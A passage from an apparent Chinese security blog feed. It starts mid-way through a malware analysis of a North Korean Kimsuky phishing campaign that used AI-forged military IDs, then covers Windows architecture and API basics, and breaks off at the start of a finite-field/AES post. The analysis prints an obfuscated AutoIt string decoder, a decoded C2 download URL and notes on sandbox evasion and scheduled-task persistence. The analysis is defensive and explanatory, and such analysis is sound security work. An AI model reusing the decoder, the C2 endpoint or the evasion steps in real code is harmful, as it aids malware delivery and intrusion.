msdbvxez(<span class="string">&quot;[cfDoux&amp;5frNlpKQmwyqboz61)0&quot;</span>, <span class="string">&quot;46845188043&quot;</span>)</span><br><span class="line"><span class="keyword">Local</span> $juqrcns     = msdbvxez(<span class="string">&quot;NAM&quot;</span>, <span class="string">&quot;747108918197&quot;</span>)</span><br><span class="line"><span class="keyword">Local</span> $vvajpije    = msdbvxez(<span class="string">&quot;Wpcm$Cj&#x27;jo&quot;</span>, <span class="string">&quot;2329523745752&quot;</span>)</span><br><span class="line"><span class="keyword">Local</span> $qcffuoke    = msdbvxez(<span class="string">&quot;EJHIRUKLN9UG&quot;</span>, <span class="string">&quot;25573166088225&quot;</span>)</span><br><span class="line"><span class="keyword">Local</span> $pzqvxcmw    = msdbvxez(<span class="string">&quot;pqok127pnt2jatjinq_Zr2kj,ug=.he@2^bk,nhfk&#x27;w&#123;fralhdiXjm6goeviw`gkx8e^ieE&quot;</span>, <span class="string">&quot;835593879340&quot;</span>)</span><br><span class="line"><span class="keyword">Local</span> $zkczmqub    = msdbvxez(<span class="string">&quot;Tkvciqf+44o&#x27;$Sckitsr*n|#-+5@Ven=07~u;9%Adna++083---&quot;</span>, <span class="string">&quot;74463554140&quot;</span>)</span><br><span class="line"><span class="keyword">Local</span> $tmylhlop    = msdbvxez(<span class="string">&quot;]p*dmrwfp^um/,1]d\q&quot;</span>, <span class="string">&quot;147932536318&quot;</span>)</span><br><span class="line"><span class="keyword">Local</span> $tjpvtfse    = msdbvxez(<span class="string">&quot;=^kkd&quot;</span>, <span class="string">&quot;1892870715&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">Func</span> <span class="title function_">msdbvxez</span><span class="params">($fzyvtqqu, $wcixylhe)</span></span><br><span class="line">    <span class="keyword">Local</span> $vgeuqkxw = [<span class="number">0</span>,<span class="number">1</span>,<span class="number">1</span>,<span class="number">1</span>,<span class="number">1</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">1</span>,<span class="number">1</span>,<span class="number">1</span>,<span class="number">1</span>,<span class="number">0</span>] <span class="comment">; bit mask array used for op selection</span></span><br><span class="line">    <span class="keyword">Local</span> $fyebqaod = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">Local</span> $mktqubos  = <span class="built_in">StringLen</span>($wcixylhe)</span><br><span class="line">    <span class="keyword">Local</span> $utaeuxnj  = <span class="built_in">UBound</span>($vgeuqkxw)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">For</span> $wycklhol = <span class="number">1</span> <span class="keyword">To</span> <span class="built_in">StringLen</span>($fzyvtqqu)</span><br><span class="line">        <span class="keyword">Local</span> $auzigwng = <span class="built_in">Asc</span>(<span class="built_in">StringMid</span>($fzyvtqqu, $wycklhol, <span class="number">1</span>))</span><br><span class="line">        <span class="keyword">Local</span> $yjmrmhoj = <span class="built_in">Number</span>(<span class="built_in">StringMid</span>($wcixylhe, (<span class="built_in">Mod</span>(($wycklhol - <span class="number">1</span>), $mktqubos) ) + <span class="number">1</span>, <span class="number">1</span>))</span><br><span class="line">        <span class="keyword">Local</span> $pmwhexey = $vgeuqkxw[Mod(($wycklhol - <span class="number">1</span>), $utaeuxnj)]</span><br><span class="line"></span><br><span class="line">        <span class="keyword">If</span> $pmwhexey = <span class="number">1</span> <span class="keyword">Then</span></span><br><span class="line">            $auzigwng += $yjmrmhoj</span><br><span class="line">        <span class="keyword">Else</span></span><br><span class="line">            $auzigwng -= $yjmrmhoj</span><br><span class="line">        <span class="keyword">EndIf</span></span><br><span class="line"></span><br><span class="line">        $fyebqaod &amp;= <span class="built_in">Chr</span>($auzigwng)</span><br><span class="line">    <span class="keyword">Next</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">Return</span> $fyebqaod</span><br><span class="line"><span class="keyword">EndFunc</span></span><br></pre></td></tr></table></figure><p>函数 <code>msdbvxez()</code> 封装了定制的 Vigenere 解密器以隐蔽这些字符串的取值。第一个参数作为密文，第二个参数作为密钥，变量 <code>vgeuqkxw</code> 的第 i % 12 位决定了解密第 i 位密文时的操作（0 - 减，1 - 加）。还原后的定义如下：</p><figure class="highlight autoit"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">Local</span> $bxmfljmg = <span class="string">&quot;ADODB.Stream&quot;</span></span><br><span class="line"><span class="keyword">Local</span> $ndexqvwc = <span class="string">&quot;windows-1252&quot;</span></span><br><span class="line"><span class="keyword">Local</span> $izscpxux = <span class="string">&quot;MSXML2.DOMDocument.6.0&quot;</span></span><br><span class="line"><span class="keyword">Local</span> $khabtatx = <span class="string">&quot;b64&quot;</span></span><br><span class="line"><span class="keyword">Local</span> $lfqwxybb = <span class="string">&quot;bin.base64&quot;</span></span><br><span class="line"><span class="keyword">Local</span> $nmpogecn = <span class="string">&quot;WinHttp.WinHttpRequest.5.1&quot;</span></span><br><span class="line"><span class="keyword">Local</span> $iugrncsl = <span class="string">&quot;GET&quot;</span></span><br><span class="line"><span class="keyword">Local</span> $vvajpije = <span class="string">&quot;User-Agent&quot;</span></span><br><span class="line"><span class="keyword">Local</span> $qcffuoke = <span class="string">&quot;COMPUTERNAME&quot;</span></span><br><span class="line"><span class="keyword">Local</span> $pzqvxcmw = <span class="string">&quot;http://www.jiwooeng.co.kr/zb41pl7/bbs/icon/private_name/private.php?name=&quot;</span></span><br><span class="line"><span class="keyword">Local</span> $zkczmqub = <span class="string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) Edge/133.2.1.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36&quot;</span></span><br><span class="line"><span class="keyword">Local</span> $tmylhlop = <span class="string">&quot;tempprivate0082.bat&quot;</span></span><br><span class="line"><span class="keyword">Local</span> $tjpvtfse = <span class="string">&quot;&lt;html&quot;</span></span><br></pre></td></tr></table></figure><p>该脚本后续完成了数据盗取以及设备控制，不过这部分代码目前未被曝光。</p><h1 id="尾声"><a href="#尾声" class="headerlink" title="尾声"></a>尾声</h1><p>提供生成式人工智能服务 Claude 的美国公司 Anthropic 于8月28日发布了一份题为《检测和应对人工智能滥用：2025年8月》的威胁情报报告。该报告披露了朝鲜IT从业人员滥用人工智能的案例​​。</p><figure>    <img src="/images/20251101/announcement.png" alt="图片加载出错啦!" style="width: 100%" />    <figcaption>图六：Anthropic 报告</figcaption></figure><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>回顾一下整个流程，攻击者首先以征求军人ID草稿意见为由诱导受害者下载并打开附件包含的恶意快捷方式，接着通过快捷方式唤醒的 <code>cmd.exe</code> 进程调用 <code>powershell.exe</code> 命令从其控制的服务器上下载了 AI 伪造的军人ID草稿以及恶意批处理文件。 文件在延迟 7 秒后开始执行，这种延迟行为是为了规避沙箱以及动态分析环境中的短期监控。该文件完成了最后的恶意程序部署，将下载的可执行文件注册为系统计划任务实现对目标设备的控制。加密手段被用于混淆流程中涉及的恶意代码以增加审查难度。</p><h1 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h1><ul><li><a class="link"   href="https://www.zaobao.com.sg/realtime/world/story20250915-7514092" >联合早报：疑受朝资助 黑客用ChatGPT伪造身份攻击韩目标<i class="fas fa-external-link-alt"></i></a></li><li><a class="link"   href="https://www.freebuf.com/articles/ai-security/448767.html" >freebuf: 朝鲜黑客组织Kimsuky利用ChatGPT伪造军人证件实施新型攻击<i class="fas fa-external-link-alt"></i></a></li><li><a class="link"   href="https://cybernews.com/cybercrime/north-korea-kimsuky-use-ai-forge-military-id-cards/" >cybernews: North Korean hacker group Kimsuky caught using AI to forge military ID cards<i class="fas fa-external-link-alt"></i></a></li><li><a class="link"   href="https://hackread.com/north-korea-kimsuky-group-ai-generated-military-ids/" >hackread: North Korea’s Kimsuky Group Uses AI-Generated Military IDs in New Attack<i class="fas fa-external-link-alt"></i></a></li><li><a class="link"   href="https://www.anthropic.com/news/detecting-countering-misuse-aug-2025" >authropic: Detecting and countering misuse of AI: August 2025<i class="fas fa-external-link-alt"></i></a></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="news" scheme="https://www.fireflycamp.net/categories/news/"/>
    
    
    <category term="deepfake" scheme="https://www.fireflycamp.net/tags/deepfake/"/>
    
    <category term="fishing" scheme="https://www.fireflycamp.net/tags/fishing/"/>
    
    <category term="obfuscation" scheme="https://www.fireflycamp.net/tags/obfuscation/"/>
    
    <category term="malware" scheme="https://www.fireflycamp.net/tags/malware/"/>
    
  </entry>
  
  <entry>
    <title>Windows: 架构 &amp; API</title>
    <link href="https://www.fireflycamp.net/2025/08/30/Windows-%E6%9E%B6%E6%9E%84-API/"/>
    <id>https://www.fireflycamp.net/2025/08/30/Windows-%E6%9E%B6%E6%9E%84-API/</id>
    <published>2025-08-29T18:15:34.000Z</published>
    <updated>2025-08-29T18:38:49.978Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="封面图"><a href="#封面图" class="headerlink" title="封面图"></a>封面图</h1><img src="/images/win-broken.webp" alt="图片加载出错啦!" style="width: 100%" /><h1 id="Windows-架构"><a href="#Windows-架构" class="headerlink" title="Windows 架构"></a>Windows 架构</h1><p>Windows 系统架构可以被简单的分为四层</p><ul><li>应用 - 桌面&#x2F;命令行应用，直接面向用户</li><li>Windows API - 一系列包含了应用与系统打交道所需数据类型和函数的库，例如 <code>ntdll.dll</code>, <code>advapi32.dll</code> 以及 <code>user32.dll</code>，在 C 中可通过 <code>#include &lt;windows.h&gt;</code> 导入这些库，有详细的官方文档描述这些接口</li><li>Windows 原生 API - 封装了系统调用（syscall），没有官方文档且不鼓励使用，但网上有不少破解出的接口信息，且可以被应用直接调用来去做一些 Windows API 做不到的事</li><li>内核 - 各种 syscall 的实现以及驱动逻辑<img src="/images/win-arch.png" alt="图片加载出错啦!" style="width: 100%" /></li></ul><h1 id="Windows-API"><a href="#Windows-API" class="headerlink" title="Windows API"></a>Windows API</h1><h2 id="数据类型"><a href="#数据类型" class="headerlink" title="数据类型"></a>数据类型</h2><p>举例一些常见的数据类型</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">DWORD dw = <span class="number">123</span>; <span class="comment">// 等价于 unsigned long, 不过注意 long 在 windows 上是 32 比特</span></span><br><span class="line">SIZE_T s = <span class="keyword">sizeof</span>(<span class="type">int</span>); <span class="comment">// 表示 32/64 位的无符号整型，取系统的位数</span></span><br><span class="line">PVOID p = <span class="literal">NULL</span>; <span class="comment">// 等价于 void*</span></span><br><span class="line"></span><br><span class="line">HANDLE handle = CreateFile(...); <span class="comment">// 作为内核空间某个对象的引用</span></span><br><span class="line">HMODULE = GetModuleHandle(...); <span class="comment">// 作为某个模块（dll/exe）的引用</span></span><br><span class="line"></span><br><span class="line">LPCSTR lpcString = <span class="string">&quot;Hello, world!&quot;</span> <span class="comment">// 等价于 const char*</span></span><br><span class="line">PCSTR pcString = <span class="string">&quot;Hello, world!&quot;</span> <span class="comment">// 等价于 const char*</span></span><br><span class="line"></span><br><span class="line">LPSTR lpString = <span class="string">&quot;Hello, world!&quot;</span> <span class="comment">// 等价于 char*</span></span><br><span class="line">PSTR pString = <span class="string">&quot;Hello, world&quot;</span> <span class="comment">// 等价于 char*</span></span><br><span class="line"></span><br><span class="line">LPCWSTR = <span class="string">L&quot;Hello, world!&quot;</span>; <span class="comment">// 等价于 const wchar*, 16 位的 Windows 宽字符</span></span><br><span class="line">PCWSTR = <span class="string">L&quot;Hello, world&quot;</span>; <span class="comment">// 等价于 const wchar*</span></span><br><span class="line"></span><br><span class="line">LPWSTR = <span class="string">L&quot;Hello, world!&quot;</span>; <span class="comment">// 等价于 wchar*</span></span><br><span class="line">PWSTR = <span class="string">L&quot;Hello, world&quot;</span>; <span class="comment">// 等价于 wchar*</span></span><br><span class="line"></span><br><span class="line"><span class="type">wchar_t</span> wChar = <span class="string">L&#x27;A&#x27;</span>; <span class="comment">// 等价于 wchar</span></span><br><span class="line"><span class="type">wchar_t</span>* wcString = <span class="string">L&quot;Hello, world!&quot;</span> <span class="comment">//等价于  wchar*</span></span><br><span class="line"></span><br><span class="line">PVOID p = <span class="built_in">malloc</span>(<span class="number">100</span>);</span><br><span class="line">p = (ULONG_PTR)p + <span class="number">10</span>; <span class="comment">// 转换成支持指针运算的类型</span></span><br></pre></td></tr></table></figure><ul><li>命名约定 - 可以发现指针类型会以 <code>P</code> 开头</li></ul><h2 id="函数"><a href="#函数" class="headerlink" title="函数"></a>函数</h2><p>不少函数会修改某个引用传递的参数作为返回值，因此传入的参数会被分为 <code>In</code> 和 <code>Out</code> 两类，函数执行时的错误码可通过特定的接口获取</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;[!] 错误: %d&quot;</span>, GetLastError());</span><br></pre></td></tr></table></figure><p>可以通过 <a class="link"   href="https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499-" >Window 系统错误码清单<i class="fas fa-external-link-alt"></i></a> 来去调查原因<br>不同于 Windows API，原生 API 会直接将错误码以返回值的形式输出</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">NTSTATUS status = NativeSyscall(...);</span><br><span class="line"><span class="keyword">if</span> (!NT_SUCCESS(status)) &#123; </span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;[!] 错误: 0x%0.8X \n&quot;</span>, status);</span><br><span class="line">&#125; </span><br></pre></td></tr></table></figure><p>且原生 API 有自己的一套<a class="link"   href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55" >错误码解释<i class="fas fa-external-link-alt"></i></a></p><ul><li>命名约定 - 期待 Ascii 字符串输入的函数会以 <code>A</code> 结尾，例如 <code>CreateFileA</code>，期待 Unicode 字符串输入的则会以 <code>W</code> 结尾，例如 <code>CreateFileW</code></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="os" scheme="https://www.fireflycamp.net/categories/os/"/>
    
    
    <category term="Windows" scheme="https://www.fireflycamp.net/tags/Windows/"/>
    
  </entry>
  
  <entry>
    <title>密码学：质数域 &amp; AES 原理</title>
    <link href="https://www.fireflycamp.net/2025/07/28/%E5%AF%86%E7%A0%81%E5%AD%A6%EF%BC%9A%E8%B4%A8%E6%95%B0%E5%9F%9F%20&amp;%20AES%20%E5%8E%9F%E7%90%86/"/>
    <id>https://www.fireflycamp.net/2025/07/28/%E5%AF%86%E7%A0%81%E5%AD%A6%EF%BC%9A%E8%B4%A8%E6%95%B0%E5%9F%9F%20&amp;%20AES%20%E5%8E%9F%E7%90%86/</id>
    <published>2025-07-27T17:03:14.000Z</published>
    <updated>2025-08-01T13:59:27.756Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>本篇整理了密码学中频繁出现的一个代数结构 - 有限域<mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.65ex;" xmlns="http://www.w3.org/2000/svg" width="2.447ex" height="2.188ex" role="img" focusable="false" viewBox="0 -680 1081.7 967.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D439" d="M48 1Q31 1 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H742Q749 676 749 669Q749 664 736 557T722 447Q720 440 702 440H690Q683 445 683 453Q683 454 686 477T689 530Q689 560 682 579T663 610T626 626T575 633T503 634H480Q398 633 393 631Q388 629 386 623Q385 622 352 492L320 363H375Q378 363 398 363T426 364T448 367T472 374T489 386Q502 398 511 419T524 457T529 475Q532 480 548 480H560Q567 475 567 470Q567 467 536 339T502 207Q500 200 482 200H470Q463 206 463 212Q463 215 468 234T473 274Q473 303 453 310T364 317H309L277 190Q245 66 245 60Q245 46 334 46H359Q365 40 365 39T363 19Q359 6 353 0H336Q295 2 185 2Q120 2 86 2T48 1Z"></path></g><g data-mml-node="mi" transform="translate(676,-150) scale(0.707)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></g></svg></mjx-container> - 的数学性质以及加密算法 AES 的原理及 Python 简单实现。</p><h1 id="F-p"><a href="#F-p" class="headerlink" title="$F_p$"></a><mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.65ex;" xmlns="http://www.w3.org/2000/svg" width="2.447ex" height="2.188ex" role="img" focusable="false" viewBox="0 -680 1081.7 967.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="mi"><path data-c="1D439" d="M48 1Q31 1 31 11Q31 13 34 25Q38 41 42 43T65 46Q92 46 125 49Q139 52 144 61Q146 66 215 342T285 622Q285 629 281 629Q273 632 228 634H197Q191 640 191 642T193 659Q197 676 203 680H742Q749 676 749 669Q749 664 736 557T722 447Q720 440 702 440H690Q683 445 683 453Q683 454 686 477T689 530Q689 560 682 579T663 610T626 626T575 633T503 634H480Q398 633 393 631Q388 629 386 623Q385 622 352 492L320 363H375Q378 363 398 363T426 364T448 367T472 374T489 386Q502 398 511 419T524 457T529 475Q532 480 548 480H560Q567 475 567 470Q567 467 536 339T502 207Q500 200 482 200H470Q463 206 463 212Q463 215 468 234T473 274Q473 303 453 310T364 317H309L277 190Q245 66 245 60Q245 46 334 46H359Q365 40 365 39T363 19Q359 6 353 0H336Q295 2 185 2Q120 2 86 2T48 1Z"></path></g><g data-mml-node="mi" transform="translate(676,-150) scale(0.707)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></g></svg></mjx-container></h1><p>对于任意质数 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.439ex;" xmlns="http://www.w3.org/2000/svg" width="1.138ex" height="1.439ex" role="img" focusable="false" viewBox="0 -442 503 636"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mi"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g></g></svg></mjx-container>，定义 <mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.65ex;" xmlns="http://www.w3.org/2000/svg" width="33.79ex" height="2.347ex" role="img" focusable="false" viewBox="0 -750 14935.1 1037.2"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msub"><g data-mml-node="TeXAtom" data-mjx-texclass="ORD"><g data-mml-node="mi"><path data-c="1D53D" d="M584 499Q569 490 566 490Q558 490 552 497T546 515Q546 535 533 559Q526 574 506 593T469 621Q415 648 326 648Q293 648 287 647T275 641Q264 630 263 617Q262 609 260 492V370L275 372Q323 376 350 392T393 441Q409 473 409 506Q409 529 427 529Q437 529 442 519Q444 511 444 362Q444 212 442 206Q436 197 426 197Q409 197 409 217Q409 265 375 299Q346 328 280 335H260V206Q260 70 262 63Q265 46 276 41T326 35Q362 35 366 28Q377 17 366 3L360 -1H24Q12 5 12 16Q12 35 51 35Q92 38 97 52Q102 60 102 341T97 632Q91 645 51 648Q12 648 12 666Q12 675 24 683H573Q576 678 584 670V499ZM137 341Q137 131 136 89T130 37Q129 36 129 35H182Q233 35 233 39Q226 54 225 92T224 346L226 623L231 635L235 648H129Q132 641 133 638T135 603T137 517T137 341ZM549 603V648H495L506 641Q531 621 533 619L549 603ZM409 317V395L400 386Q390 376 375 366L357 355L373 346Q394 331 397 328L409 317Z"></path></g></g><g data-mml-node="mi" transform="translate(644,-150) scale(0.707)"><path data-c="1D45D" d="M23 287Q24 290 25 295T30 317T40 348T55 381T75 411T101 433T134 442Q209 442 230 378L240 387Q302 442 358 442Q423 442 460 395T497 281Q497 173 421 82T249 -10Q227 -10 210 -4Q199 1 187 11T168 28L161 36Q160 35 139 -51T118 -138Q118 -144 126 -145T163 -148H188Q194 -155 194 -157T191 -175Q188 -187 185 -190T172 -194Q170 -194 161 -194T127 -193T65 -192Q-5 -192 -24 -194H-32Q-39 -187 -39 -183Q-37 -156 -26 -148H-6Q28 -147 33 -136Q36 -130 94 103T155 350Q156 355 156 364Q156 405 131 405Q109 405 94 377T71 316T59 280Q57 278 43 278H29Q23 284 23 287ZM178 102Q200 26 252 26Q282 26 310 49T356 107Q374 141 392 215T411 325V331Q411 405 350 405Q339 405 328 402T306 393T286 380T269 365T254 350T243 336T235 326L232 322Q232 321 229 308T218 264T204 212Q178 106 178 102Z"></path></g></g><g data-mml-node="mo" transform="translate(1327.5,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mo" transform="translate(2383.2,0)"><path data-c="28" d="M94 250Q94 319 104 381T127 488T164 576T202 643T244 695T277 729T302 750H315H319Q333 750 333 741Q333 738 316 720T275 667T226 581T184 443T167 250T184 58T225 -81T274 -167T316 -220T333 -241Q333 -250 318 -250H315H302L274 -226Q180 -141 137 -14T94 250Z"></path></g><g data-mml-node="mo" transform="translate(2772.2,0)"><path data-c="7B" d="M434 -231Q434 -244 428 -250H410Q281 -250 230 -184Q225 -177 222 -172T217 -161T213 -148T211 -133T210 -111T209 -84T209 -47T209 0Q209 21 209 53Q208 142 204 153Q203 154 203 155Q189 191 153 211T82 231Q71 231 68 234T65 250T68 266T82 269Q116 269 152 289T203 345Q208 356 208 377T209 529V579Q209 634 215 656T244 698Q270 724 324 740Q361 748 377 749Q379 749 390 749T408 750H428Q434 744 434 732Q434 719 431 716Q429 713 415 713Q362 710 332 689T296 647Q291 634 291 499V417Q291 370 288 353T271 314Q240 271 184 255L170 250L184 245Q202 239 220 230T262 196T290 137Q291 131 291 1Q291 -134 296 -147Q306 -174 339 -192T415 -213Q429 -213 431 -216Q434 -219 434 -231Z"></path></g><g data-mml-node="mi" transform="translate(3272.2,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 381 412 234T374 68Q374 43 381 35T402 26Q411 27 422 35Q443 55 463 131Q469 151 473 152Q475 153 483 153H487Q506 153 506 144Q506 138 501 117T481 63T449 13Q436 0 417 -8Q409 -10 393 -10Q359 -10 336 5T306 36L300 51Q299 52 296 50Q294 48 292 46Q233 -10 172 -10Q117 -10 75 30T33 157ZM351 328Q351 334 346 350T323 385T277 405Q242 405 210 374T160 293Q131 214 119 129Q119 126 119 118T118 106Q118 61 136 44T179 26Q217 26 254 59T298 110Q300 114 325 217T351 328Z"></path></g><g data-mml-node="mo" transform="translate(4079,0)"><path data-c="2208" d="M84 250Q84 372 166 450T360 539Q361 539 377 539T419 540T469 540H568Q583 532 583 520Q583 511 570 501L466 500Q355 499 329 494Q280 482 242 458T183 409T147 354T129 306T124 272V270H568Q583 262 583 250T568 230H124V228Q124 207 134 177T167 112T231 48T328 7Q355 1 466 0H570Q583 -10 583 -20Q583 -32 568 -40H471Q464 -40 446 -40T417 -41Q262 -41 172 45Q84 127 84 250Z"></path></g><g data-mml-node="TeXAtom" data-mjx-texclass="ORD" transform="translate(5023.8,0)"><g data-mml-node="mi"><path data-c="2124" d="M39 -1Q29 9 29 12Q29 23 60 77T219 337L410 648H364Q261 648 210 628Q168 612 142 588T109 545T97 509T88 490Q85 489 80 489Q72 489 61 503L70 588Q72 607 75 628T79 662T81 675Q84 677 88 681Q90 683 341 683H592Q604 673 604 666Q604 662 412 348L221 37Q221 35 301 35Q406 35 446 48Q504 68 543 111T597 212Q602 239 617 239Q624 239 629 234T635 223Q635 215 621 113T604 8L597 1Q595 -1 317 -1H39ZM148 637L166 648H112V632Q111 629 110 622T108 612Q108 608 110 608T116 612T129 623T148 637ZM552 646Q552 648 504 648Q452 648 450 643Q448 639 266 343T77 37Q77 35 128 35H179L366 339L552 646ZM572 35Q581 89 581 97L561 77Q542 59 526 48L508 37L539 35H572Z"></path></g></g><g data-mml-node="mo" transform="translate(5968.6,0)"><path data-c="3A" d="M78 370Q78 394 95 412T138 430Q162 430 180 414T199 371Q199 346 182 328T139 310T96 327T78 370ZM78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z"></path></g><g data-mml-node="mn" transform="translate(6524.3,0)"><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z"></path></g><g data-mml-node="mo" transform="translate(7302.1,0)"><path data-c="2264" d="M674 636Q682 636 688 630T694 615T687 601Q686 600 417 472L151 346L399 228Q687 92 691 87Q694 81 694 76Q694 58 676 56H670L382 192Q92 329 90 331Q83 336 83 348Q84 359 96 365Q104 369 382 500T665 634Q669 636 674 636ZM84 -118Q84 -108 99 -98H678Q694 -104 694 -118Q694 -130 679 -138H98Q84 -131 84 -118Z"></path></g><g data-mml-node="mi" transform="translate(8357.9,0)"><path data-c="1D44E" d="M33 157Q33 258 109 349T280 441Q331 441 370 392Q386 422 416 422Q429 422 439 414T449 394Q449 